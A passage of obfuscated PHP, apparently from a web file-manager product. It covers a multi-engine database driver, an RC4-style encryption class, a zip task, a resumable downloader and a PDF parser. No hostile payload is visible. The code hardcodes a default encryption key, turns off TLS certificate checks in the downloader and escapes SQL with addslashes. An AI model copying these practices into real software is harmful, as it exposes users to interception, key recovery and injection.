(bool) (isset($bʏ[$CѸ[99]]) && $bʏ[$CѸ[99]] === $CѸ[33] || isset($bʏ[$CѸ[31]]) && $bʏ[$CѸ[31]] === $CѸ[33]), $CѸ[34] => isset($bʏ[$CѸ[34]]) ? $bʏ[$CѸ[34]] : (isset($bʏ[$CѸ[53]]) ? $bʏ[$CѸ[53]] : $CѸ[357]), $CѸ[36] => isset($bʏ[$CѸ[89]]) ? strtolower($bʏ[$CѸ[89]]) == $CѸ[38] : (isset($bʏ[$CѸ[54]]) ? $bʏ[$CѸ[54]] : !1), $CѸ[39] => isset($bʏ[$CѸ[857]]) ? strtolower($bʏ[$CѸ[857]]) == $CѸ[41] : (isset($bʏ[$CѸ[89]]) ? $bʏ[$CѸ[89]] : !1)); } } goto ḃ; cҰ: $CѸ =& $_SERVER[ֹ]; $this->initConnect(!0); if (think_config($CѸ[841])) { $d = str_replace($CѸ[842], $eӜݝ, think_config($CѸ[841])); } else { switch ($this->dbType) { case $CѸ[825]: case $CѸ[843]: $d = "\x53\105\x4c\x45\x43\124\x20\x20\40\x63\157\154\x75\x6d\156\x5f\156\141\x6d\x65\40\141\163\x20\47\116\141\x6d\x65\x27\54\x20\40\x20\x64\x61\x74\x61\x5f\x74\171\x70\145\x20\141\x73\40\47\x54\x79\160\x65\x27\x2c\x20\40\x20\143\x6f\x6c\x75\x6d\156\x5f\144\x65\146\141\x75\154\x74\x20\141\x73\x20\x27\104\x65\x66\x61\x75\154\164\x27\54\x20\x20\40\151\x73\137\156\165\154\x6c\141\x62\x6c\145\40\141\163\40\x27\116\x75\154\154\x27\12\x9\11\106\122\117\x4d\11\x69\156\x66\x6f\x72\x6d\x61\164\151\x6f\156\x5f\163\143\x68\x65\155\x61\56\x74\x61\x62\x6c\145\163\40\x41\x53\40\164\12\x9\x9\x4a\117\111\x4e\11\x69\x6e\x66\x6f\162\155\141\x74\151\157\156\x5f\163\143\150\x65\155\x61\56\143\157\x6c\165\155\156\x73\x20\x41\123\x20\x63\12\11\11\x4f\x4e\40\x20\x74\56\x74\x61\x62\154\x65\x5f\143\141\x74\x61\154\x6f\147\x20\75\40\143\56\x74\141\x62\154\145\x5f\143\x61\x74\141\x6c\157\x67\xa\11\x9\x41\x4e\104\40\x74\56\x74\x61\142\154\x65\137\x73\x63\x68\145\x6d\141\x20\x3d\40\143\x2e\x74\141\142\x6c\145\137\163\143\150\x65\x6d\x61\xa\11\x9\101\x4e\x44\40\x74\x2e\164\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\40\75\x20\x63\x2e\x74\141\142\x6c\145\137\156\141\x6d\x65\xa\11\11\x57\x48\105\122\x45\x20\x20\x20\164\x2e\x74\141\x62\x6c\x65\137\156\x61\x6d\x65\40\75\x20\x27{$eӜݝ}\x27"; break; case $CѸ[844]: $d = $CѸ[845] . $eӜݝ . $CѸ[846]; break; case $CѸ[826]: case $CѸ[828]: $d = $CѸ[847] . $CѸ[848] . $CѸ[849] . strtoupper($eӜݝ) . $CѸ[850] . strtoupper($eӜݝ) . $CѸ[851]; break; case $CѸ[852]: $d = $CѸ[853] . $eӜݝ . $CѸ[854]; break; case $CѸ[827]: break; case $CѸ[855]: default: $d = $CѸ[856] . ($this->dbType == $CѸ[855] ? "\140{$eӜݝ}\140" : $eӜݝ); } } goto b; ḃ: return $CɬǦ; goto c┛ބ; c┛ބ: } public function getTables($F = '') { $A =& $_SERVER[ֹ]; if (think_config($A[858])) { $eƺ = str_replace($A[859], $F, think_config($A[858])); } else { switch ($this->dbType) { case $A[826]: case $A[828]: $eƺ = $A[860]; break; case $A[825]: case $A[843]: $eƺ = $A[861]; break; case $A[852]: $eƺ = $A[862]; break; case $A[827]: think_exception(think_lang($A[863]) . $A[864]); break; case $A[844]: $eƺ = $A[42] . $A[43] . $A[44]; break; case $A[855]: default: if (!empty($F)) { $eƺ = $A[808] . $F; } else { $eƺ = $A[809]; } } } $fَƼ = $this->query($eƺ); $Fˠߚ؍ = array(); foreach ($fَƼ as $Dƅ => $f) { $Fˠߚ؍[$Dƅ] = current($f); } return $Fˠߚ؍; } protected function parseLimit($bу) { $C╱ =& $_SERVER[ֹ]; $d = $C╱[33]; if (!empty($bу)) { switch ($this->dbType) { case $C╱[852]: case $C╱[844]: $bу = explode($C╱[47], $bу); if (count($bу) > 1) { $d .= $C╱[48] . $bу[1] . $C╱[49] . $bу[0] . $C╱[50]; } else { $d .= $C╱[48] . $bу[0] . $C╱[50]; } break; case $C╱[825]: case $C╱[843]: break; case $C╱[827]: break; case $C╱[826]: case $C╱[828]: break; case $C╱[855]: default: $d .= $C╱[48] . $bу . $C╱[50]; } } return $d; } public function parseKey(&$DԵ֋, $Cҥꔴ = true) { $aС =& $_SERVER[ֹ]; if ($Cҥꔴ) { $DԵ֋ = $this->parseKeyCheck($DԵ֋); } if ($this->dbType == $aС[855]) { if ($DԵ֋ != $aС[172] && !preg_match($aС[819], $DԵ֋)) { $DԵ֋ = $aС[820] . trim($DԵ֋, $aС[820]) . $aС[820]; } return $DԵ֋; } else { return parent::parseKey($DԵ֋); } } public function close() { $this->_linkID = null; } public function error() { $eɢܳ =& $_SERVER[ֹ]; if ($this->PDOStatement) { $DనĄ = $this->PDOStatement->errorInfo(); $this->error = $DనĄ[1] . $eɢܳ[4] . $DనĄ[2]; } else { $this->error = $eɢܳ[33]; } if ($eɢܳ[33] != $this->queryStr) { $this->error .= LNG($eɢܳ[45]) . $this->queryStr; } think_trace($this->error, $eɢܳ[33], $eɢܳ[46]); return $this->error; } public function escapeString($aјއ) { $E䧱 =& $_SERVER[ֹ]; switch ($this->dbType) { case $E䧱[852]: case $E䧱[825]: case $E䧱[843]: case $E䧱[855]: return addslashes($aјއ); case $E䧱[827]: case $E䧱[844]: case $E䧱[826]: case $E䧱[828]: return str_ireplace($E䧱[55], $E䧱[56], $aјއ); } } protected function parseValue($Aў) { $Dڦ =& $_SERVER[ֹ]; if (is_string($Aў)) { $Aў = strpos($Aў, $Dڦ[4]) === 0 ? $this->escapeString($Aў) : $Dڦ[865] . $this->escapeString($Aў) . $Dڦ[865]; } elseif (isset($Aў[0]) && is_string($Aў[0]) && strtolower($Aў[0]) == $Dڦ[281]) { $Aў = $this->escapeString($Aў[1]); } elseif (is_array($Aў)) { $Aў = array_map(array($this, $Dڦ[866]), $Aў); } elseif (is_bool($Aў)) { $Aў = $Aў ? $Dڦ[83] : $Dڦ[464]; } elseif (is_null($Aў)) { $Aў = $Dڦ[99]; } return $Aў; } public function getLastInsertId() { $a =& $_SERVER[ֹ]; switch ($this->dbType) { case $a[852]: case $a[844]: case $a[825]: case $a[843]: case $a[827]: case $a[855]: return $this->_linkID->lastInsertId(); case $a[826]: case $a[828]: $C؃ِ = $this->table; $B = $this->query("\x53\x45\114\105\103\124\x20{$C؃ِ}\56\143\165\x72\162\x76\141\x6c\x20\143\x75\x72\162\x76\141\x6c\40\106\x52\117\115\x20\144\x75\141\154"); return $B ? $B[0][$a[867]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($FҔ) { goto c; c: $BȐ =& $_SERVER[ֹ]; $Fæ = DATA_PATH . $BȐ[868]; $Fď = fopen($Fæ, $BȐ[869]); goto e嬽; cſ: fclose($Fď); show_json($BȐ[870], !1); return !1; goto F鳏; e嬽: if (!$Fď) { return !1; } if (flock($Fď, LOCK_EX)) { $fР = parent::query($FҔ); flock($Fď, LOCK_UN); fclose($Fď); return $fР; } flock($Fď, LOCK_UN); goto cſ; F鳏: } public function execute($f􉈙) { goto Aڂ±; dϪΈ: if (!$b߈) { return !1; } if (flock($b߈, LOCK_EX)) { $dэ = parent::execute($f􉈙); flock($b߈, LOCK_UN); fclose($b߈); return $dэ; } flock($b߈, LOCK_UN); goto e; e: fclose($b߈); show_json($A[870], !1); return !1; goto Fۇ; Aڂ±: $A =& $_SERVER[ֹ]; $E႟ = DATA_PATH . $A[868]; $b߈ = fopen($E႟, $A[869]); goto dϪΈ; Fۇ: } } goto Dщŧ; e˱ޟ: class Mcrypt { public static $defaultKey = "\x61\x21\x74\x61\153\x41\x3a\x64\154\x6d\x63\154\x64\105\166\x2c\x65"; public static function encode($cٍ, $a = '', $C͞ = 0, $Cொ = '') { goto cҩ”; D: $Eⱍ = substr($Cொ, -$c·ħ); $F = $Fˌ . md5($Fˌ . $Eⱍ); $cɃɩ = strlen($F); goto cǧ; eسßߖ: $f = str_replace(array($F[280], $F[8], $F[903]), array($F[408], $F[70], $F[91]), $f); return $f; goto B짰; Dۜ: $f = $F[33]; for ($Eڎ = $b = $F΍ = 0; $F΍ < $c; $F΍++) { $Eڎ = ($Eڎ + 1) % 256; $b = ($b + $C[$Eڎ]) % 256; $A݈ = $C[$Eڎ]; $C[$Eڎ] = $C[$b]; $C[$b] = $A݈; $f .= chr(ord($cٍ[$F΍]) ^ $C[($C[$Eڎ] + $C[$b]) % 256]); } $f = $Eⱍ . str_replace($F[903], $F[33], base64_encode($f)); goto eسßߖ; cҩ”: $F =& $_SERVER[ֹ]; $c·ħ = 4; $a = md5($a ? $a : self::$defaultKey); goto bԾٴ; cǧ: $cٍ = sprintf($F[1906], $C͞ ? $C͞ + time() : 0) . substr(md5($cٍ . $bɓ˯), 0, 16) . $cٍ; $c = strlen($cٍ); $dǐ = array(); goto Eȷ; Eȷ: for ($F΍ = 0; $F΍ <= 255; $F΍++) { $dǐ[$F΍] = ord($F[$F΍ % $cɃɩ]); } $C = range(0, 255); for ($b = $F΍ = 0; $F΍ < 256; $F΍++) { $b = ($b + $C[$F΍] + $dǐ[$F΍]) % 256; $A݈ = $C[$F΍]; $C[$F΍] = $C[$b]; $C[$b] = $A݈; } goto Dۜ; bԾٴ: $Fˌ = md5(substr($a, 0, 16)); $bɓ˯ = md5(substr($a, 16, 16)); $Cொ = $Cொ ? $Cொ : md5(microtime()); goto D; B짰: } public static function decode($B, $F = '') { goto bĦ; Cᦫ: $F = md5($F ? $F : self::$defaultKey); $A = md5(substr($F, 0, 16)); $dչ = md5(substr($F, 16, 16)); goto Cη; Cη: $f腂 = substr($B, 0, $B寿); $Fė = $A . md5($A . $f腂); $f = strlen($Fė); goto c񱩋ҙ; FѲĶ: $eʽ댏 = $A˙˒[33]; for ($b = $d𗛝 = $EȻ = 0; $EȻ < $Dև; $EȻ++) { $b = ($b + 1) % 256; $d𗛝 = ($d𗛝 + $fƠ[$b]) % 256; $Fҡ = $fƠ[$b]; $fƠ[$b] = $fƠ[$d𗛝]; $fƠ[$d𗛝] = $Fҡ; $eʽ댏 .= chr(ord($B[$EȻ]) ^ $fƠ[($fƠ[$b] + $fƠ[$d𗛝]) % 256]); } $bĖ = intval(substr($eʽ댏, 0, 10)); goto Bڞ蝌; Bڞ蝌: if (($bĖ == 0 || $bĖ - time() > 0) && substr($eʽ댏, 10, 16) == substr(md5(substr($eʽ댏, 26) . $dչ), 0, 16)) { return substr($eʽ댏, 26); } else { return $A˙˒[33]; } goto B΍ҤԷ; c񱩋ҙ: $B = base64_decode(substr($B, $B寿)); $Dև = strlen($B); $E╹ = array(); goto c; c: for ($EȻ = 0; $EȻ <= 255; $EȻ++) { $E╹[$EȻ] = ord($Fė[$EȻ % $f]); } $fƠ = range(0, 255); for ($d𗛝 = $EȻ = 0; $EȻ < 256; $EȻ++) { $d𗛝 = ($d𗛝 + $fƠ[$EȻ] + $E╹[$EȻ]) % 256; $Fҡ = $fƠ[$EȻ]; $fƠ[$EȻ] = $fƠ[$d𗛝]; $fƠ[$d𗛝] = $Fҡ; } goto FѲĶ; bĦ: $A˙˒ =& $_SERVER[ֹ]; $B = str_replace(array($A˙˒[408], $A˙˒[70], $A˙˒[91]), array($A˙˒[280], $A˙˒[8], $A˙˒[903]), $B); $B寿 = 4; goto Cᦫ; B΍ҤԷ: } } define($_SERVER[ֹ][1907], 1); define($_SERVER[ֹ][1908], 2); goto bꃤԛ; E: class TaskZip extends TaskFileTransfer { protected function startAfter() { $BϠ =& $_SERVER[ֹ]; parent::startAfter(); Hook::bind($BϠ[1488], array($this, $BϠ[1483])); $c =& $this->task; $c[$BϠ[1485]] = $BϠ[1034]; if (!$c[$BϠ[1323]]) { $c[$BϠ[1323]] = LNG($BϠ[1489]); } } protected function endAfter() { $C =& $_SERVER[ֹ]; parent::endAfter(); Hook::unbind($C[1488], array($this, $C[1483])); } public function updateAfter() { $Fں =& $_SERVER[ֹ]; $C򡑋 =& $this->task; if (!$C򡑋[$Fں[972]] || !$C򡑋[$Fں[695]]) { return; } if ($C򡑋[$Fں[1485]] == $Fں[1034]) { $c㢢 = $C򡑋[$Fں[1461]]; if ($C򡑋[$Fں[1462]] != $Fں[1034]) { $c㢢 = 0; } $C = ($C򡑋[$Fں[1465]] + $c㢢) / $C򡑋[$Fں[695]]; $C򡑋[$Fں[1416]] = $C * 0.3; } else { if ($C򡑋[$Fں[1485]] == $Fں[297]) { $C = $C򡑋[$Fں[984]] / $C򡑋[$Fں[972]]; $C򡑋[$Fں[1416]] = 0.3 + $C * 0.5; } else { if ($C򡑋[$Fں[1485]] == $Fں[102]) { $C = 0; if ($C򡑋[$Fں[1460]]) { $C = $C򡑋[$Fں[1461]] / $C򡑋[$Fں[1460]]; } $C򡑋[$Fں[1416]] = 0.3 + 0.5 + $C * 0.2; } } } if ($C򡑋[$Fں[1416]] > 0) { $D = timeFloat() - $C򡑋[$Fں[1418]] - $C򡑋[$Fں[1421]]; $C򡑋[$Fں[1422]] = $D * (1 - $C򡑋[$Fں[1416]]) / $C򡑋[$Fں[1416]]; } } public function copyFileStart($fѼ, $BɌ, $c佐, $E맋, $e, $c£) { $f =& $_SERVER[ֹ]; parent::copyFileStart($fѼ, $BɌ, $c佐, $E맋, $e, $c£); $bĿ =& $this->task; if ($bĿ[$f[1485]] == $f[297]) { $bĿ[$f[1485]] = $f[102]; } $this->update(); } public function copyFileEnd($cꪝ, $C߯, $B鑘, $bڗ, $Bꃎި, $FŋƯ) { $e =& $_SERVER[ֹ]; $Bʅ =& $this->task; $Bʅ[$e[1461]] = $Bʅ[$e[1460]]; $Bʅ[$e[1465]] += $Bʅ[$e[1460]]; $Bʅ[$e[1462]] = $e[33]; $this->update(); } public function nameParse($Bދ) { $F蔜 =& $_SERVER[ֹ]; $eѶ =& $this->task; if ($eѶ[$F蔜[984]] < $eѶ[$F蔜[972]]) { $e = get_path_this($Bދ); if (strstr($e, $F蔜[91])) { $eѶ[$F蔜[984]] += 1; } } if ($eѶ[$F蔜[1485]] == $F蔜[1034]) { $eѶ[$F蔜[1485]] = $F蔜[297]; } $eѶ[$F蔜[1458]] = $Bދ; $this->update(); } } class Downloader { static function start($fʮ, $A, $cۋ = 10) { goto C; c: if ($cҫ > $aŐŊּ) { @unlink($Cζ); } file_put_contents($E𔨆Ɍ, json_encode($b)); $C = self::fileDownloadCurl($fʮ, $A, !0, $cҫ, $aŐŊּ); goto bѩ; bѩ: if ($C[$eƊԱ[1026]]) { @unlink($E𔨆Ɍ); } return $C; goto D; c: $Cζ = $A . $eƊԱ[1491]; if (is_array($fʮ)) { $c¼ى = $fʮ; } else { $c¼ى = url_header($fʮ); } $fʮ = $c¼ى[$eƊԱ[291]]; goto F; CȰ: if (is_file($E𔨆Ɍ)) { $e = file_get_contents($E𔨆Ɍ); $b = json_decode($e, 1); } if (file_exists($A) && $aŐŊּ == filesize($A)) { @unlink($Cζ); @unlink($E𔨆Ɍ); return array($eƊԱ[1026] => !0, $eƊԱ[1028] => $eƊԱ[1493]); } if ($b[$eƊԱ[321]] != $aŐŊּ) { $b = array($eƊԱ[321] => $aŐŊּ); } goto c; F: if (!$fʮ) { return array($eƊԱ[1026] => !1, $eƊԱ[1028] => $eƊԱ[1031]); } if (!$c¼ى[$eƊԱ[1275]] || $c¼ى[$eƊԱ[321]] == 0) { @unlink($Cζ); @unlink($A); $C = self::fileDownloadFopen($fʮ, $A, $c¼ى[$eƊԱ[321]]); if ($C[$eƊԱ[1026]]) { return $C; } else { @unlink($Cζ); @unlink($A); $C = self::fileDownloadCurl($fʮ, $A, !1, 0, $c¼ى[$eƊԱ[321]]); @unlink($Cζ); return $C; } } $cҫ = is_file($Cζ) ? filesize($Cζ) : 0; goto eᮊ; eᮊ: $aŐŊּ = intval($c¼ى[$eƊԱ[321]]); if (file_exists($Cζ) && time() - filemtime($Cζ) < 3) { return array($eƊԱ[1026] => !1, $eƊԱ[1028] => $eƊԱ[1492]); } $b = array(); goto CȰ; C: $eƊԱ =& $_SERVER[ֹ]; if (!request_url_safe($fʮ)) { return array($eƊԱ[1026] => !1, $eƊԱ[1028] => $eƊԱ[1031]); } $E𔨆Ɍ = $A . $eƊԱ[1490]; goto c; D: } static function fileDownloadFopen($E⸩, $d, $Fûׯε = 0) { $Eɶ =& $_SERVER[ֹ]; @ini_set($Eɶ[1494], $Eɶ[1495]); $e = $d . $Eɶ[1491]; set_timeout(); @unlink($e); if ($cڏ = @fopen($E⸩, $Eɶ[1496])) { goto b񃍣˔; c: return array($Eɶ[1026] => !0, $Eɶ[1028] => $Eɶ[693]); goto e; b񃍣˔: if (!($aɶ̲ = @fopen($e, $Eɶ[1497]))) { return array($Eɶ[1026] => !1, $Eɶ[1028] => $Eɶ[1498]); } while (!feof($cڏ)) { if (!file_exists($e)) { fclose($aɶ̲); return array($Eɶ[1026] => !1, $Eɶ[1028] => $Eɶ[1499]); } clearstatcache(); if ($Fûׯε > 0 && $Fûׯε == filesize(iconv_system($e))) { break; } fwrite($aɶ̲, fread($cڏ, 1024 * 8), 1024 * 8); } fclose($aɶ̲); goto fŷ; fŷ: fclose($cڏ); self::checkGzip($e); if (!@rename($e, $d)) { usleep(round(rand(0, 1000) * 50)); @unlink($d); $b䳺ù = @rename($e, $d); if (!$b䳺ù) { return array($Eɶ[1026] => !1, $Eɶ[1028] => $Eɶ[1500]); } } goto c; e: } else { return array($Eɶ[1026] => !1, $Eɶ[1028] => $Eɶ[1501]); } } static function fileDownloadCurl($E܈, $bߪ, $a = false, $a₰ = 0, $B = 0) { goto dΞ; C죠: if ($C˄ < $B && $B != 0) { return array($C؉ʋ[1026] => !1, $C؉ʋ[1028] => $C؉ʋ[1492]); } if ($c && filesize($fʩ) != 0) { self::checkGzip($fʩ); if (!@rename($fʩ, $bߪ)) { @unlink($bߪ); $c = @rename($fʩ, $bߪ); if (!$c) { return array($C؉ʋ[1026] => !1, $C؉ʋ[1028] => $C؉ʋ[1504]); } } return array($C؉ʋ[1026] => !0, $C؉ʋ[1028] => $C؉ʋ[693]); } return array($C؉ʋ[1026] => !1, $C؉ʋ[1028] => $C؉ʋ[1505]); goto e酸Ų; b˃: $a܆ = @fopen($fʩ, $C؉ʋ[976]); if (!$a܆) { return array($C؉ʋ[1026] => !1, $C؉ʋ[1028] => $C؉ʋ[1502]); } $bƂ = curl_init($E܈); goto eم; Dծ: curl_setopt($bƂ, CURLOPT_USERAGENT, $C؉ʋ[1495]); $c = curl_exec($bƂ); curl_progress_end($bƂ); goto AȐ; eم: if ($a) { curl_setopt($bƂ, CURLOPT_RANGE, $a₰ . $C؉ʋ[711]); } curl_setopt($bƂ, CURLOPT_FILE, $a܆); curl_setopt($bƂ, CURLOPT_REFERER, get_url_link($E܈)); goto Bѻ㑉; dΞ: $C؉ʋ =& $_SERVER[ֹ]; $fʩ = $bߪ . $C؉ʋ[1491]; set_timeout(); goto b˃; AȐ: curl_close($bƂ); fclose($a܆); $C˄ = filesize(iconv_system($fʩ)); goto C죠; Bѻ㑉: curl_setopt($bƂ, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_setopt($bƂ, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($bƂ, CURLOPT_SSL_VERIFYHOST, 0); goto A⺡; A⺡: curl_setopt($bƂ, CURLOPT_NOPROGRESS, !1); curl_setopt($bƂ, CURLOPT_PROGRESSFUNCTION, $C؉ʋ[1503]); curl_progress_start($bƂ); goto Dծ; e酸Ų: } static function checkGzip($a) { goto Aۥ; Aۥ: $D = $_SERVER[ֹ][1506]; $Eę = file_sub_str($a, 0, 2); if ($D != $Eę) { return; } goto c܅Ä; c܅Ä: ob_start(); readgzfile($a); $Bԣ = ob_get_clean(); goto dͻ; dͻ: file_put_contents($a, $Bԣ); goto e񎫢ܻ; e񎫢ܻ: } } class FileParsePdf { public static function parse($aĿ) { goto Cۆ; cе凚: preg_match_all($DІײ, $bƑ[$dɍȶ[1508]], $a͋); if ($a͋[1] && $A[$dɍȶ[1515]] < $a͋[1][0]) { $A[$dɍȶ[1515]] = $a͋[1][0]; } preg_match_all($DІײ, $bƑ[$dɍȶ[1509]], $a͋); goto b퓺; f: if ($a͋) { $A[$dɍȶ[1322]] = $a͋[1]; } $A[$dɍȶ[1515]] = 0; $DІײ = $dɍȶ[1516]; goto cе凚; Dɭ: $bƑ[$dɍȶ[1508]] = StreamWrapperIO::read($aĿ, 0, $cÎ); $bƑ[$dɍȶ[1509]] = StreamWrapperIO::read($aĿ, $bƑ[$dɍȶ[77]] - $cÎ, $cÎ); $e냌 = self::decodeXref($bƑ); goto Bǩ򏍓; Bǩ򏍓: if ($e냌) { $Cǧ = $e냌[$dɍȶ[1510]][$dɍȶ[1178]]; $A = self::getObjectValue($bƑ, $e냌, $Cǧ); } $A = is_array($A) ? $A : array(); $A[$dɍȶ[1511]] = 0; goto Bꅤ; b퓺: if ($a͋[1] && $A[$dɍȶ[1515]] < $a͋[1][0]) { $A[$dɍȶ[1515]] = $a͋[1][0]; } $A = self::parseInfoItem($A); return $A; goto c˄; a˧˝: preg_match($DІײ, $bƑ[$dɍȶ[1509]], $a͋); if (!$A[$dɍȶ[1511]] && count($a͋) == 5) { $A[$dɍȶ[1511]] = $a͋[3]; $A[$dɍȶ[1513]] = $a͋[4]; } preg_match($dɍȶ[1514], $bƑ[$dɍȶ[1508]], $a͋); goto f; Cۆ: $dɍȶ =& $_SERVER[ֹ]; $cÎ = 32 * 1024; $bƑ = array($dɍȶ[772] => fopen($aĿ, $dɍȶ[1156]), $dɍȶ[75] => $aĿ, $dɍȶ[77] => filesize($aĿ), $dɍȶ[1507] => $cÎ); goto Dɭ; Bꅤ: $DІײ = $dɍȶ[1512]; preg_match($DІײ, $bƑ[$dɍȶ[1508]], $a͋); if (!$A[$dɍȶ[1511]] && count($a͋) == 5) { $A[$dɍȶ[1511]] = $a͋[3]; $A[$dɍȶ[1513]] = $a͋[4]; } goto a˧˝; c˄: } private static function parseInfoItem($Fݪ) { $e =& $_SERVER[ֹ]; if (!$Fݪ) { return !1; } $aʑš = array($e[1323] => array($e[1517], $e[33]), $e[1518] => array($e[1519], $e[33]), $e[183] => array($e[1520], $e[206]), $e[106] => array($e[1521], $e[206]), $e[1515] => array($e[1515], $e[272]), $e[1511] => array($e[1511], $e[272]), $e[1513] => array($e[1513], $e[272]), $e[1522] => array($e[1523], $e[33]), $e[1524] => array($e[1525], $e[33]), $e[1526] => array($e[1322], $e[33])); $d = array(); foreach ($aʑš as $e򜳛 => $e͇) { if (!isset($Fݪ[$e͇[0]])) { continue; } $bϬ = $Fݪ[$e͇[0]]; if (!$bϬ || is_array($bϬ)) { continue; } switch ($e͇[1]) { case $e[272]: $bϬ = intval($bϬ); break; case $e[206]: if (substr($bϬ, 0, 2) == $e[1527]) { $bϬ = substr($bϬ, 2, 14); } if (strtotime($bϬ)) { $bϬ = date($e[1528], strtotime($bϬ)); } break; } $d[$e򜳛] = $bϬ; } return $d; } private static function decodeXref(&$E) { goto CΎ; dͻ: if (preg_match($dտ[1536], $BĶ, $a) > 0) { $dï[$dտ[1510]][$dտ[77]] = intval($a[1]); } if (preg_match($dտ[1537], $BĶ, $a) > 0) { $dï[$dտ[1510]][$dտ[1538]] = intval($a[1]) . $dտ[70] . intval($a[2]); } if (preg_match($dտ[1539], $BĶ, $a) > 0) { $dï[$dտ[1510]][$dտ[1540]] = intval($a[1]) . $dտ[70] . intval($a[2]); } goto Eԧ; Eԧ: if (preg_match($dտ[1541], $BĶ, $a) > 0) { $dï[$dտ[1510]][$dտ[1178]] = intval($a[1]) . $dտ[70] . intval($a[2]); } if (preg_match($dտ[1542], $BĶ, $a) > 0) { $dï[$dտ[1510]][$dտ[363]] = array(); $dï[$dտ[1510]][$dտ[363]][0] = $a[1]; $dï[$dտ[1510]][$dտ[363]][1] = $a[2]; } if (!$dï[$dտ[1510]][$dտ[1178]]) { return !1; } goto C; F: foreach ($a[3] as $C => $c崤) { if ($a[3][$C] == $dտ[1532]) { $C = $Aц . $dտ[70] . intval($a[2][$C]); $dï[$dտ[1529]][$C] = intval($a[1][$C]); ++$Aц; } else { if ($a[3][$C] == $dտ[1533]) { ++$Aц; } else { } } } if (preg_match_all($dտ[1534], $dֻ, $a)) { $EÒ = $E[$dտ[77]] - $E[$dտ[1507]]; foreach ($a[0] as $C => $b) { $b = $a[1][$C] . $dտ[70] . $a[2][$C]; $dï[$dտ[1529]][$b] = strpos($dֻ, $b) + $EÒ + 1; } } if (preg_match_all($dտ[1535], $dֻ, $a)) { $BĶ = count($a[1]) == 1 ? $a[1][0] : $a[1][1]; } else { $BĶ = substr($dֻ, -1024 * 5); } goto dͻ; fɂ: $A = $dտ[1530]; if (!preg_match_all($A, $dֻ, $a, PREG_SET_ORDER, 0)) { return !1; } $Aï = intval($a[0][1]); goto a˃; CΎ: $dտ =& $_SERVER[ֹ]; $dֻ = $E[$dտ[1509]]; $dï = array($dտ[1510] => array(), $dտ[1529] => array()); goto fɂ; C: if (preg_match($dտ[1543], $BĶ, $a) > 0) { } return $dï; goto dē; a˃: if ($E[$dտ[77]] - $Aï > $E[$dտ[1507]]) { $e = 4 * $E[$dտ[1507]]; $E[$dտ[1507]] = $e; $E[$dտ[1508]] = StreamWrapperIO::read($E[$dտ[75]], 0, $e); $E[$dտ[1509]] = StreamWrapperIO::read($E[$dտ[75]], $E[$dտ[77]] - $e, $e); $dֻ = $E[$dտ[1509]]; } $Aц = 0; preg_match_all($dտ[1531], $dֻ, $a); goto F; dē: } private static function getObjectValue($a, $Būœ, $A) { goto â阕; â阕: $f =& $_SERVER[ֹ]; $f룶 = self::getObject($a, $Būœ[$f[1529]][$A]); if (is_string($f룶[1])) { return $f룶[1]; } goto D; D: if (!is_array($f룶[1])) { return array(); } $eѡՑ = array(); for ($dвꔽ = 0; $dвꔽ < count($f룶[1]); $dвꔽ += 2) { $D = $f룶[1][$dвꔽ]; $Aޅİ = $f룶[1][$dвꔽ + 1]; if (count($D) == 3 && $D[0] == $f[8]) { $aޗ = !1; if ($Aޅİ[0] == $f[1544]) { $Aޅİ = self::getObject($a, $Būœ[$f[1529]][$Aޅİ[1]]); } $aޗ = $Aޅİ[1]; if ($aޗ === !1) { continue; } if (is_string($aޗ)) { $aޗ = self::decodeStr($aޗ); } $eѡՑ[$D[1]] = $aޗ; } } goto C׸; C׸: return $eѡՑ; goto bѧа; bѧа: } private static function getObject($Dԟ, $D) { $A߇ㄦ = self::getObjectItem($Dԟ, $D); $A߇ㄦ = self::getObjectItem($Dԟ, $A߇ㄦ[2]); return $A߇ㄦ; } private static function getObjectItem($DҺ, $dݑփ) { goto Fəʾ; Bۅ: $a = $dݑփ >= $e ? $dݑփ - $e : $dݑփ; $Fّ = $dݑփ >= $e ? $DҺ[$bȅ[1509]] : $DҺ[$bȅ[1508]]; if ($dݑփ > $E && $dݑփ <= $e) { $a = 0; $Fّ = StreamWrapperIO::read($DҺ[$bȅ[75]], $dݑփ, $E); } goto D짶░; D짶░: $dȭ = self::getRawObject($Fّ, $a); if ($dݑփ >= $e) { $dȭ[2] = $dȭ[2] + $e; } else { if ($dݑփ > $E && $dݑփ <= $e) { $dȭ[2] = $dȭ[2] + $dݑփ; } } return $dȭ; goto d; Fəʾ: $bȅ =& $_SERVER[ֹ]; $E = $DҺ[$bȅ[1507]]; $e = $DҺ[$bȅ[77]] - $E; goto Bۅ; d: } private static function decodeStr($d) { goto D񃎘; E: return $d; goto Dȇ; cی: $d = $d[33]; foreach ($F쐊 as $c砾) { if (preg_match($d[1559], $c砾) && !1 === stripos($c砾, $d[1560])) { $c砾 = preg_replace($d[1561], $d[33], $c砾); $c砾 = trim($c砾, $d[922]); $c砾 = pack($d[1562], $c砾); $d .= $c砾; } else { $d .= $c砾; } } if (preg_match($d[1563], $d)) { $Eݎۏ = substr($d, 2); $d = $d[33]; $A橺ɔ = strlen($Eݎۏ); for ($a醤 = 0; $a醤 < $A橺ɔ; $a醤 += 2) { $B = hexdec(bin2hex(substr($Eݎۏ, $a醤, 2))); $d .= mb_convert_encoding($d[1564] . intval($B) . $d[67], $d[1565], $d[1566]); } } goto E; D񃎘: $d =& $_SERVER[ֹ]; $d = str_replace(array($d[1545], $d[1546], $d[1547], $d[1548], $d[1549], $d[1550], $d[1551], $d[1552]), array($d[93], $d[50], $d[8], $d[244], $d[813], $d[213], $d[986], $d[326]), $d); $F쐊 = preg_split($d[1553], $d, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto bɸȂ; bɸȂ: $d = $d[33]; foreach ($F쐊 as $c砾) { if (preg_match($d[1554], $c砾)) { $d .= \chr(octdec(trim($c砾, $d[93]))); } else { $d .= $c砾; } } $F쐊 = preg_split($d[1555], $d, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto Cׄ; Cׄ: $d = $d[33]; foreach ($F쐊 as $c砾) { if (preg_match($d[1556], $c砾)) { $d .= \chr(hexdec(trim($c砾, $d[1557]))); } else { $d .= $c砾; } } $F쐊 = preg_split($d[1558], $d, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); goto cی; Dȇ: } private static function getRawObject($F, $CԤҭ = 0) { goto Eȝ; 